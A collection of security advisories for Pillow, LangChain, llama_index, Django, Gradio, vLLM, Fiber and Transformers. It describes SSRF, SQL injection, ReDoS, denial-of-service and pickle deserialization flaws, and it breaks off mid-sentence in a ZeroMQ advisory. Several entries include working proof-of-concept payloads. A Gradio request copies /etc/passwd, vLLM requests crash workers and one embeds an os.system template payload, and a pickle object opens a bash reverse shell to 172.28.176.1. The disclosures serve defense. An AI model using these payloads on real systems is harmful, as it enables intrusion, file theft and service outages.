Pillow vulnerability can cause write buffer overflow on BCn encoding
There is a heap buffer overflow when writing a sufficiently large (>64k encoded with default settings) image in the DDS format due to writing into a buffer without checking for available space.
This only affects users who save untrusted data as a compressed DDS image.
Unclear how large the potential write could be. It is likely limited by process segfault, so it's not necessarily deterministic. It may be practically unbounded.
Unclear if there's a restriction on the bytes that could be emitted. It's likely that the only restriction is that the bytes would be emitted in chunks of 8 or 16.
This was introduced in Pillow 11.2.0 when the feature was added.
LangChain Community SSRF vulnerability exists in RequestsToolkit component
A Server-Side Request Forgery (SSRF) vulnerability exists in the RequestsToolkit component of the langchain-community package (specifically, langchain_community.agent_toolkits.openapi.toolkit.RequestsToolkit) in langchain-ai/langchain version 0.0.27. This vulnerability occurs because the toolkit does not enforce restrictions on requests to remote internet addresses, allowing it to also access local addresses. As a result, an attacker could exploit this flaw to perform port scans, access local services, retrieve instance metadata from cloud environments (e.g., Azure, AWS), and interact with servers on the local network. This issue has been fixed in version 0.0.28.
llama_index vulnerable to SQL Injection
Multiple vector store integrations in run-llama/llama_index version v0.12.21 have SQL injection vulnerabilities. These vulnerabilities allow an attacker to read and write data using SQL, potentially leading to unauthorized access to data of other users depending on the usage of the llama-index library in a web application.
Django Improper Output Neutralization for Logs vulnerability
An issue was discovered in Django 5.2 before 5.2.2, 5.1 before 5.1.10, and 4.2 before 4.2.22. Internal HTTP response logging does not escape request.path, which allows remote attackers to potentially manipulate log output via crafted URLs. This may lead to log injection or forgery when logs are viewed in terminals or processed by external systems.
Gradio Allows Unauthorized File Copy via Path Manipulation
An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.
Description
The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the /gradio_api/run/predict endpoint to trigger these file copies.
Source: User-controlled path parameter in the flagging functionality JSON payload
Sink: shutil.copy operation in FileData._copy_to_dir() method
The vulnerable code flow:
1. A JSON payload is sent to the /gradio_api/run/predict endpoint
2. The path field within FileData object can reference any file on the system
3. When processing this request, the Component.flag() method creates a GradioDataModel object
4. The FileData._copy_to_dir() method uses this path without proper validation:
``python
def _copy_to_dir(self, dir: str) -> FileData:
pathlib.Path(dir).mkdir(exist_ok=True)
new_obj = dict(self)
if not self.path:
raise ValueError("Source file path is not set")
new_name = shutil.copy(self.path, dir) # vulnerable sink
new_obj["path"] = new_name
return self.__class__(**new_obj)
`
5. The lack of validation allows copying any file the Gradio process can read
PoC
The following script demonstrates the vulnerability by copying /etc/passwd from the server to Gradio's flagged directory:
Setup a Gradio app:
`python
import gradio as gr
def image_classifier(inp):
return {'cat': 0.2, 'dog': 0.8}
test = gr.Interface(fn=image_classifier, inputs="image", outputs="label")
test.launch(share=True)
`
Run the PoC:
`python
import requests
url = "https://[your-gradio-app-url]/gradio_api/run/predict"
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
}
payload = {
"data": [
{
"path": "/etc/passwd",
"url": "[your-gradio-app-url]",
"orig_name": "network_config",
"size": 5000,
"mime_type": "text/plain",
"meta": {
"_type": "gradio.FileData"
}
},
{}
],
"event_data": None,
"fn_index": 4,
"trigger_id": 11,
"session_hash": "test123"
}
response = requests.post(url, headers=headers, json=payload)
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")
``
vLLM Tool Schema allows DoS via Malformed pattern and type Fields
Summary
The vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the "pattern" and "type" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted.
Details
The "type" field is expected to be one of: "string", "number", "object", "boolean", "array", or "null". Supplying any other value will cause the worker to crash with the following error:
RuntimeError: [11:03:34] /project/cpp/json_schema_converter.cc:637: Unsupported type "something_or_nothing"
The "pattern" field undergoes Jinja2 rendering (I think) prior to being passed unsafely into the native regex compiler without validation or escaping. This allows malformed expressions to reach the underlying C++ regex engine, resulting in fatal errors.
For example, the following inputs will crash the worker:
Unclosed {, [, or (
Closed:{} and []
Here are some of runtime errors on the crash depending on what gets injected:
RuntimeError: [12:05:04] /project/cpp/regex_converter.cc:73: Regex parsing error at position 4: The parenthesis is not closed.
RuntimeError: [10:52:27] /project/cpp/regex_converter.cc:73: Regex parsing error at position 2: Invalid repetition count.
RuntimeError: [12:07:18] /project/cpp/regex_converter.cc:73: Regex parsing error at position 6: Two consecutive repetition modifiers are not allowed.
PoC
Here is the POST request using the type field to crash the worker. Note the type field is set to "something" rather than the expected types it is looking for:
POST /v1/chat/completions HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
Content-Type: application/json
Content-Length: 579
Origin:
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
{
"model": "mistral-nemo-instruct",
"messages": [{ "role": "user", "content": "crash via type" }],
"tools": [
{
"type": "function",
"function": {
"name": "crash01",
"parameters": {
"type": "object",
"properties": {
"a": {
"type": "something"
}
}
}
}
}
],
"tool_choice": {
"type": "function",
"function": {
"name": "crash01",
"arguments": { "a": "test" }
}
},
"stream": false,
"max_tokens": 1
}
Here is the POST request using the pattern field to crash the worker. Note the pattern field is set to a RCE payload, it could have just been set to {{}}. I was not able to get RCE in my testing, but is does crash the worker.
POST /v1/chat/completions HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
Content-Type: application/json
Content-Length: 718
Origin:
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive
{
"model": "mistral-nemo-instruct",
"messages": [
{
"role": "user",
"content": "Crash via Pattern"
}
],
"tools": [
{
"type": "function",
"function": {
"name": "crash02",
"parameters": {
"type": "object",
"properties": {
"a": {
"type": "string",
"pattern": "{{ __import__('os').system('echo RCE_OK > /tmp/pwned') or 'SAFE' }}"
}
}
}
}
}
],
"tool_choice": {
"type": "function",
"function": {
"name": "crash02"
}
},
"stream": false,
"max_tokens": 32,
"temperature": 0.2,
"top_p": 1,
"n": 1
}
Impact
Backend workers can be crashed causing anyone to using the inference engine to get 500 internal server errors on subsequent requests.
Fix
https://github.com/vllm-project/vllm/pull/17623
vLLM allows clients to crash the openai server with invalid regex
Impact
A denial of service bug caused the vLLM server to crash if an invalid regex was provided while using structured output. This vulnerability is similar to GHSA-6qc9-v4r8-22xg, but for regex instead of a JSON schema.
Issue with more details: https://github.com/vllm-project/vllm/issues/17313
Patches
https://github.com/vllm-project/vllm/pull/17623
vLLM DOS: Remotely kill vllm over http with invalid JSON schema
Summary
Hitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server
Details
The following API call
(venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'
will provoke a Uncaught exceptions from xgrammer in
./lib64/python3.11/site-packages/xgrammar/compiler.py
Issue with more information: https://github.com/vllm-project/vllm/issues/17248
PoC
Make a call to vllm with invalid json_scema e.g. {\"properties\":{\"reason\":{\"type\": \"stsring\"}}}
curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'
Impact
vllm crashes
example traceback
``
ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in run_engine_core
ERROR 03-26 17:25:01 [core.py:340] engine_core.run_busy_loop()
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 367, in run_busy_loop
ERROR 03-26 17:25:01 [core.py:340] outputs = step_fn()
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 181, in step
ERROR 03-26 17:25:01 [core.py:340] scheduler_output = self.scheduler.schedule()
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py", line 257, in schedule
ERROR 03-26 17:25:01 [core.py:340] if structured_output_req and structured_output_req.grammar:
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 41, in grammar
ERROR 03-26 17:25:01 [core.py:340] completed = self._check_grammar_completion()
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 29, in _check_grammar_completion
ERROR 03-26 17:25:01 [core.py:340] self._grammar = self._grammar.result(timeout=0.0001)
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 456, in result
ERROR 03-26 17:25:01 [core.py:340] return self.__get_result()
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 401, in __get_result
ERROR 03-26 17:25:01 [core.py:340] raise self._exception
ERROR 03-26 17:25:01 [core.py:340] File "/usr/lib64/python3.11/concurrent/futures/thread.py", line 58, in run
ERROR 03-26 17:25:01 [core.py:340] result = self.fn(self.args, self.kwargs)
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py", line 120, in _async_create_grammar
ERROR 03-26 17:25:01 [core.py:340] ctx = self.compiler.compile_json_schema(grammar_spec,
ERROR 03-26 17:25:01 [core.py:340] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340] File "/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py", line 101, in compile_json_schema
ERROR 03-26 17:25:01 [core.py:340] self._handle.compile_json_schema(
ERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is<picojson::object>()) is false: Schema should be an object or bool
ERROR 03-26 17:25:01 [core.py:340]
ERROR 03-26 17:25:01 [core.py:340]
CRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.
``
Fix
https://github.com/vllm-project/vllm/pull/17623
vLLM has a Weakness in MultiModalHasher Image Hashing Implementation
Summary
In the file vllm/multimodal/hasher.py, the MultiModalHasher class has a security and data integrity issue in its image hashing method. Currently, it serializes PIL.Image.Image objects using only obj.tobytes(), which returns only the raw pixel data, without including metadata such as the image’s shape (width, height, mode). As a result, two images of different sizes (e.g., 30x100 and 100x30) with the same pixel byte sequence could generate the same hash value. This may lead to hash collisions, incorrect cache hits, and even data leakage or security risks.
Details
Affected file: vllm/multimodal/hasher.py
Affected method: MultiModalHasher.serialize_item
https://github.com/vllm-project/vllm/blob/9420a1fc30af1a632bbc2c66eb8668f3af41f026/vllm/multimodal/hasher.py#L34-L35
Current behavior: For Image.Image instances, only obj.tobytes() is used for hashing.
Problem description: obj.tobytes() does not include the image’s width, height, or mode metadata.
Impact: Two images with the same pixel byte sequence but different sizes could be regarded as the same image by the cache and hashing system, which may result in:
Incorrect cache hits, leading to abnormal responses
Deliberate construction of images with different meanings but the same hash value
Recommendation
In the serialize_item method, serialization of Image.Image objects should include not only pixel data, but also all critical metadata—such as dimensions (size), color mode (mode), format, and especially the info dictionary. The info dictionary is particularly important in palette-based images (e.g., mode 'P'), where the palette itself is stored in info. Ignoring info can result in hash collisions between visually distinct images with the same pixel bytes but different palettes or metadata. This can lead to incorrect cache hits or even data leakage.
Summary:
Serializing only the raw pixel data is insecure. Always include all image metadata (size, mode, format, info) in the hash calculation to prevent collisions, especially in cases like palette-based images.
Impact for other modalities
For the influence of other modalities, since the video modality is transformed into a multi-dimensional array containing the length, width, time, etc. of the video, the same problem exists due to the incorrect sequence of numpy as well.
For audio, since the momo function is not enabled in librosa.load, the loaded audio is automatically encoded into single channels by librosa and returns a one-dimensional array of numpy, thus keeping the structure of numpy fixed and not affected by this issue.
Fixes
https://github.com/vllm-project/vllm/pull/17378
vLLM vulnerable to Regular Expression Denial of Service
Summary
A recent review identified several regular expressions in the vllm codebase that are susceptible to Regular Expression Denial of Service (ReDoS) attacks. These patterns, if fed with crafted or malicious input, may cause severe performance degradation due to catastrophic backtracking.
1. vllm/lora/utils.py Line 173
https://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/vllm/lora/utils.py#L173
Risk Description:
The regex r"\((.?)\)\$?$" matches content inside parentheses. If input such as ((((a|)+)+)+) is passed in, it can cause catastrophic backtracking, leading to a ReDoS vulnerability.
Using .? (non-greedy match) inside group parentheses can be highly sensitive to input length and nesting complexity.
Remediation Suggestions:
Limit the input string length.
Use a non-recursive matching approach, or write a regex with stricter content constraints.
Consider using possessive quantifiers or atomic groups (not supported in Python yet), or split and process before regex matching.
---
2. vllm/entrypoints/openai/tool_parsers/phi4mini_tool_parser.py Line 52
https://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/vllm/entrypoints/openai/tool_parsers/phi4mini_tool_parser.py#L52
Risk Description:
The regex r'functools\[(.?)\]' uses .? to match content inside brackets, together with re.DOTALL. If the input contains a large number of nested or crafted brackets, it can cause backtracking and ReDoS.
Remediation Suggestions:
Limit the length of model_output.
Use a stricter, non-greedy pattern (avoid matching across extraneous nesting).
Prefer re.finditer() and enforce a length constraint on each match.
---
3. vllm/entrypoints/openai/serving_chat.py Line 351
https://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/vllm/entrypoints/openai/serving_chat.py#L351
Risk Description:
The regex r'."parameters":\s(.)' can trigger backtracking if current_text is very long and contains repeated structures.
Especially when processing strings from unknown sources, . matching any content is high risk.
Remediation Suggestions:
Use a more specific pattern (e.g., via JSON parsing).
Impose limits on current_text length.
Avoid using . to capture large blocks of text; prefer structured parsing when possible.
---
4. benchmarks/benchmark_serving_structured_output.py Line 650
https://github.com/vllm-project/vllm/blob/2858830c39da0ae153bc1328dbba7680f5fbebe1/benchmarks/benchmark_serving_structured_output.py#L650
Risk Description:
The regex r'\{.\}' is used to extract JSON inside curly braces. If the actual string is very long with unbalanced braces, it can cause backtracking, leading to a ReDoS vulnerability.
Although this is used for benchmark correctness checking, it should still handle abnormal inputs carefully.
Remediation Suggestions:
Limit the length of actual.
Prefer stepwise search for { and } or use a robust JSON extraction tool.
Recommend first locating the range with simple string search, then applying regex.
Fix
https://github.com/vllm-project/vllm/pull/18454
---
vLLM has a Regular Expression Denial of Service (ReDoS, Exponential Complexity) Vulnerability in `pythonic_tool_parser.py`
Summary
A Regular Expression Denial of Service (ReDoS) vulnerability exists in the file vllm/entrypoints/openai/tool_parsers/pythonic_tool_parser.py of the vLLM project. The root cause is the use of a highly complex and nested regular expression for tool call detection, which can be exploited by an attacker to cause severe performance degradation or make the service unavailable.
Details
The following regular expression is used to match tool/function call patterns:
``
r"\[([a-zA-Z]+\w\(([a-zA-Z]+\w=.,\s)([a-zA-Z]+\w=.\s)?\),\s)([a-zA-Z]+\w\(([a-zA-Z]+\w=.,\s)([a-zA-Z]+\w=.\s)?\)\s)+\]"
`
This pattern contains multiple nested quantifiers (, +), optional groups, and inner repetitions which make it vulnerable to catastrophic backtracking.
Attack Example:
A malicious input such as
`
[A(A= )A(A=, )A(A=, )A(A=, )... (repeated dozens of times) ...]
or
"[A(A=" + "\t)A(A=,\t" repeat
`
can cause the regular expression engine to consume CPU exponentially with the input length, effectively freezing or crashing the server (DoS).
Proof of Concept:
A Python script demonstrates that matching such a crafted string with the above regex results in exponential time complexity. Even moderate input lengths can bring the system to a halt.
`
Length: 22, Time: 0.0000 seconds, Match: False
Length: 38, Time: 0.0010 seconds, Match: False
Length: 54, Time: 0.0250 seconds, Match: False
Length: 70, Time: 0.5185 seconds, Match: False
Length: 86, Time: 13.2703 seconds, Match: False
Length: 102, Time: 319.0717 seconds, Match: False
``
Impact
Denial of Service (DoS): An attacker can trigger a denial of service by sending specially crafted payloads to any API or interface that invokes this regex, causing excessive CPU usage and making the vLLM service unavailable.
Resource Exhaustion and Memory Retention: As this regex is invoked during function call parsing, the matching process may hold on to significant CPU and memory resources for extended periods (due to catastrophic backtracking). In the context of vLLM, this also means that the associated KV cache (used for model inference and typically stored in GPU memory) is not released in a timely manner. This can lead to GPU memory exhaustion, degraded throughput, and service instability.
Potential for Broader System Instability: Resource exhaustion from stuck or slow requests may cascade into broader system instability or service downtime if not mitigated.
Fix
https://github.com/vllm-project/vllm/pull/18454
Note that while this change has significantly improved performance, this regex may still be problematic. It has gone from exponential time complexity, O(2^N), to O(N^2).
Fiber panics when fiber.Ctx.BodyParser parses invalid range index
Summary
When using the fiber.Ctx.BodyParser to parse into a struct with range values, a panic occurs when trying to parse a negative range index
Details
fiber.Ctx.BodyParser can map flat data to nested slices using key[idx]value syntax, however when idx is negative, it causes a panic instead of returning an error stating it cannot process the data.
Since this data is user-provided, this could lead to denial of service for anyone relying on this fiber.Ctx.BodyParser functionality
Reproducing
Take a simple GoFiberV2 server which returns a JSON encoded version of the FormData
``go
package main
import (
"encoding/json"
"fmt"
"net/http"
"github.com/gofiber/fiber/v2"
)
type RequestBody struct {
NestedContent []struct {
Value string form:"value"
} form:"nested-content"
}
func main() {
app := fiber.New()
app.Post("/", func(c fiber.Ctx) error {
formData := RequestBody{}
if err := c.BodyParser(&formData); err != nil {
fmt.Println(err)
return c.SendStatus(http.StatusUnprocessableEntity)
}
c.Set("Content-Type", "application/json")
s, _ := json.Marshal(formData)
return c.SendString(string(s))
})
fmt.Println(app.Listen(":3000"))
}
`
Correct Behaviour
Send a valid request such as:
`bash
curl --location 'localhost:3000' \
--form 'nested-content[0].value="Foo"' \
--form 'nested-content[1].value="Bar"'
`
You recieve valid JSON
`json
{"NestedContent":[{"Value":"Foo"},{"Value":"Bar"}]}
`
Crashing behaviour
Send an invalid request such as:
`bash
curl --location 'localhost:3000' \
--form 'nested-content[-1].value="Foo"'
`
The server panics and crashes
`
panic: reflect: slice index out of range
goroutine 8 [running]:
reflect.Value.Index({0x738000?, 0xc000010858?, 0x0?}, 0x738000?)
/usr/lib/go-1.24/src/reflect/value.go:1418 +0x167
github.com/gofiber/fiber/v2/internal/schema.(*Decoder).decode(0xc00002c570, {0x75d420?, 0xc000010858?, 0x7ff424822108?}, {0xc00001c498, 0x17}, {0xc00014e2d0, 0x2, 0x2}, {0xc00002c710, ...})
[...]
`
Impact
Anyone using fiber.Ctx.BodyParser` can/will have their servers crashed when an invalid payload is sent
vLLM Allows Remote Code Execution via PyNcclPipe Communication Service
Impacted Environments
This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected.
Summary
vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the send_obj and recv_obj methods on the CPU side.
A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges.
The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html
Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface.
This issue was reported privately to PyTorch and they determined that this behavior was intentional.
Details
The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to Remote Code Execution.
1. Deploy a PyNcclPipe service configured to listen on port 18888 when launched:
``python
from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe
from vllm.config import KVTransferConfig
config=KVTransferConfig(
kv_ip="0.0.0.0",
kv_port=18888,
kv_rank=0,
kv_parallel_size=1,
kv_buffer_size=1024,
kv_buffer_device="cpu"
)
p=PyNcclPipe(config=config,local_rank=0)
p.recv_tensor() # Receive data
`
2. The attacker crafts malicious packets and sends them to the PyNcclPipe service:
`python
from vllm.distributed.utils import StatelessProcessGroup
class Evil:
def __reduce__(self):
import os
cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"'
return (os.system,(cmd,))
client = StatelessProcessGroup.create(
host='172.17.0.1',
port=18888,
rank=1,
world_size=2,
)
client.send_obj(obj=Evil(),dst=0)
`
The call stack triggering RCE is as follows:
`
vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl
-> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata
-> vllm.distributed.utils.StatelessProcessGroup.recv_obj
-> pickle.loads
`
Getshell as follows:
!image
Reporters
This issue was reported independently by three different parties:
@kikayli (Zhuque Lab, Tencent)
@omjeki
Russell Bryant (@russellb)
Fix
https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the TCPStore` socket to the private interface as configured.
Hugging Face Transformers Regular Expression Denial of Service
A Regular Expression Denial of Service (ReDoS) exists in the preprocess_string() function of the transformers.testing_utils module. In versions before 4.50.0, the regex used to process code blocks in docstrings contains nested quantifiers that can trigger catastrophic backtracking when given inputs with many newline characters. An attacker who can supply such input to preprocess_string() (or code paths that call it) can force excessive CPU usage and degrade availability.
Fix: released in 4.50.0, which rewrites the regex to avoid the inefficient pattern. ([GitHub][1])
Affected: < 4.50.0
Patched: 4.50.0
LlamaIndex Vulnerable to Denial of Service (DoS)
A Denial of Service (DoS) vulnerability has been identified in the KnowledgeBaseWebReader class of the run-llama/llama_index project, affecting version ~ latest(v0.12.15). The vulnerability arises due to inappropriate secure coding measures, specifically the lack of proper implementation of the max_depth parameter in the get_article_urls function. This allows an attacker to exhaust Python's recursion limit through repeated function calls, leading to resource consumption and ultimately crashing the Python process.
Django has a denial-of-service possibility in strip_tags()
An issue was discovered in Django 4.2 before 4.2.21, 5.1 before 5.1.9, and 5.2 before 5.2.1. The django.utils.html.strip_tags() function is vulnerable to a potential denial-of-service (slow performance) when processing inputs containing large sequences of incomplete HTML tags. The template filter striptags is also vulnerable, because it is built on top of strip_tags().
Remote Code Execution Vulnerability in vLLM Multi-Node Cluster Configuration
Affected Environments
Note that this issue only affects the V0 engine, which has been off by default since v0.8.0. Further, the issue only applies to a deployment using tensor parallelism across multiple hosts, which we do not expect to be a common deployment pattern.
Since V0 is has been off by default since v0.8.0 and the fix is fairly invasive, we have decided not to fix this issue. Instead we recommend that users ensure their environment is on a secure network in case this pattern is in use.
The V1 engine is not affected by this issue.
Impact
In a multi-node vLLM deployment using the V0 engine, vLLM uses ZeroMQ for some multi-node communication purposes. The secondary vLLM hosts open a SUB ZeroMQ socket and connect to an XPUB socket on the primary vLLM host.
https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/device_communicators/shm_broadcast.py#L295-L301
When data is received on this SUB socket, it is deserialized with pickle. This is unsafe, as it can be abused to execute code on a remote machine.
https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/device_communicators/shm_broadcast.py#L468-L470
Since the vulnerability exists in a client that connects to the primary vLLM host, this vulnerability serves as an escalation point. If the primary vLLM host is compromised, this vulnerability could be used to compromise the rest of the hosts in the vLLM deployment.
Attackers could also use other means to exploit the vulnerability without requiring access to the primary vLLM host. One example would be the use of ARP cache poisoning to redirect traffic to a malicious endpoint used to deliver a payload with arbitrary code to execute on the target machine.
phi4mm: Quadratic Time Complexity in Input Token Processing leads to denial of service
Summary
A critical performance vulnerability has been identified in the input preprocessing logic of the multimodal tokenizer. The code dynamically replaces placeholder tokens (e.g., <|audio_|>, <|image_|>) with repeated tokens based on precomputed lengths. Due to inefficient list concatenation operations, the algorithm exhibits quadratic time complexity (O(n²)), allowing malicious actors to trigger resource exhaustion via specially crafted inputs.
Details
Affected Component: input_processor_for_phi4mm function.
https://github.com/vllm-project/vllm/blob/8cac35ba435906fb7eb07e44fe1a8c26e8744f4e/vllm/model_executor/models/phi4mm.py#L1182-L1197
The code modifies the input_ids list in-place using input_ids = input_ids[:i] + tokens + input_ids[i+1:]. Each concatenation operation copies the entire list, leading to O(n) operations per replacement. For k placeholders expanding to m tokens, total time becomes O(kmn), approximating O(n²) in worst-case scenarios.
PoC
Test data demonstrates exponential time growth:
``python
test_cases = [100, 200, 400, 800, 1600, 3200, 6400]
run_times = [0.002, 0.007, 0.028, 0.136, 0.616, 2.707, 11.854] # seconds
`
Doubling input size increases runtime by ~4x (consistent with O(n²)).
Impact
Denial-of-Service (DoS): An attacker could submit inputs with many placeholders (e.g., 10,000 <|audio_1|> tokens), causing CPU/memory exhaustion.
Example: 10,000 placeholders → ~100 million operations.
Remediation Recommendations
Precompute all placeholder positions and expansion lengths upfront.
Replace dynamic list concatenation with a single preallocated array.
`python
Pseudocode for O(n) solution
new_input_ids = []
for token in input_ids:
if token is placeholder:
new_input_ids.extend([token] * precomputed_length)
else:
new_input_ids.append(token)
``
vLLM Vulnerable to Remote Code Execution via Mooncake Integration
Impacted Deployments
Note that vLLM instances that do NOT make use of the mooncake integration are NOT vulnerable.
Description
vLLM integration with mooncake is vaulnerable to remote code execution due to using pickle based serialization over unsecured ZeroMQ sockets. The vulnerable sockets were set to listen on all network interfaces, increasing the likelihood that an attacker is able to reach the vulnerable ZeroMQ sockets to carry out an attack.
This is a similar to GHSA - x3m8 - f7g5 - qhm7, the problem is in
https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179
Here recv_pyobj() Contains implicit pickle.loads(), which leads to potential RCE.
Data exposure via ZeroMQ on multi-node vLLM deployment
Impact
In a multi-node vLLM deployment, vLLM uses ZeroMQ for some multi-node communication purposes. The primary vLLM host opens an XPUB ZeroMQ socket and binds it to ALL interfaces. While the socket is always opened for a multi-node deployment, it is only used when doing tensor parallelism across multiple hosts.
Any client with network access to this host can connect to this XPUB socket unless its port is blocked by a firewall. Once connected, these arbitrary clients will receive all of the same data broadcasted to all of the secondary vLLM hosts. This data is internal vLLM state information that is not useful to an attacker.
By potentially connecting to this socket many times and not reading data published to them, an attacker can also cause a denial of service by slowing down or potentially blocking the publisher.
Detailed Analysis
The XPUB socket in question is created here:
https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/device_communicators/shm_broadcast.py#L236-L237
Data is published over this socket via MessageQueue.enqueue() which is called by MessageQueue.broadcast_object():
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/device_communicators/shm_broadcast.py#L452-L453
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/device_communicators/shm_broadcast.py#L475-L478
The MessageQueue.broadcast_object() method is called by the GroupCoordinator.broadcast_object() method in parallel_state.py:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallel_state.py#L364-L366
The broadcast over ZeroMQ is only done if the GroupCoordinator was created with use_message_queue_broadcaster set to True:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallel_state.py#L216-L219
The only case where GroupCoordinator is created with use_message_queue_broadcaster is the coordinator for the tensor parallelism group:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallel_state.py#L931-L936
To determine what data is broadcasted to the tensor parallism group, we must continue tracing. GroupCoordinator.broadcast_object() is called by GroupCoordinator.broadcoast_tensor_dict():
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallel_state.py#L489
which is called by broadcast_tensor_dict() in communication_op.py:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/communication_op.py#L29-L34
If we look at _get_driver_input_and_broadcast() in the V0 worker_base.py, we'll see how this tensor dict is formed:
